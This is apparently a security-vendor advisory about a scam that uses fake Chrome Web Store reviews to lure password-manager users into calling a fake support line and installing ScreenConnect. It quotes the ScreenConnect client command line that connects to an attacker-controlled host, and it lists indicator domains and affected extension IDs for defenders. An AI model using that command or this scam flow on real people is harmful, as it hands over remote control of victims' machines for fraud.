LastPass has reported a social engineering campaign using fake reviews on the Chrome Web Store.
‍
A malicious actor is adding fake reviews and directing customers to call to a number controlled by the actor:
‍
‍
Once the victim calls the number, the representative will instruct them to visit a website (dghelp[.]top) while on the line.
‍
This will initiate the process to install a ScreenConnect instance to control the victim remotely:
‍
ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=n9back366[.]stream
‍
‍
‍
The Nudge Security team has identified this activity as part of a larger cluster of malicious infrastructure used by this threat actor beyond what has been reported by LastPass and BleepingComputer.
‍
Indicators of compromise:
‍
molatorimax[.]icu
ephjsuorzrno[.]me
n9639.loglink3[.]site
qeqertarmanaq954[.]icu
n9back366[.]stream
m3699.loglink3[.]site
m6back639[.]win
molatorila[.]icu
m8912.loglink3[.]site
fgx4vh52[.]me
siorapasup035[.]icu
‍
In addition to that, looking at the phone number used by the threat actor, we have found many instances of other Chrome extension reviews beyond LastPass targeting users of other password managers such as Dashlane:
‍
Ticketmaster, Skiddle, AXS - Queue Assistant - hhhfdmeccebonifdjlnfligonmdjdecm
Save to Facebook - jmfikkaogpplgnfjmbjdpalkhclendgd
Alura: All-in-One Etsy Seller Solution - nhbghfidknjdblpfcmkkdpcfigkkpgpi
Amazon Customer Service Helper - cmfafbmoadifedfpkmmgmngimbbgddlo
Fakespot Fake Amazon Reviews and eBay Sellers - nakplnnackehceedgkgkokbgbmfghain
TicketMaster Bot - cdalpcpllcmedajccdegodnlkkiddkhi
Dashlane — Password Manager - fdjamakpfbbddfjaooikfcpapjohcfmg
SEOSpace - The SEO Plugin for Squarespace - jdpdpdkkofoclmgbopofhlmoikpfamao
Honey: Automatic Coupons & Rewards - bmnlcjabgnpnenekpadlanbbkooimhnj
Squarespace ID Finder - igjamfnifnkmecjidfbdipieoaeghcff
Keepa - Amazon Price Tracker - neebplgakaahbhdphmkckjjcegoiijjo
Cash App - lmejgebmehcaipipjccpfniilegbghji
Hulu Ad Skipper | Ad Blocker - pgpdfnkeeppfohmophlpcfmciioeenig
Youtube TV - eipbidbihnpafjpfpcpnnfmlebiagola
Peacock TV Picture In Picture - fbejkdknoibjclidhlaeejnekhhppgmh
Grammarly: AI Writing and Grammar Checker App - kbfnbcaeplbcioakkpcpgfkobkghlhen
Capital One Shopping: Save Now - nenlahapcbofgnanklpelkaejcehkggg
Roku pixel helper - kcpbomhhmopchbefhpphdboleijpjfge
Google Translate - aapbdbdomjkkjkaonfhkkikfgjllcleb
‍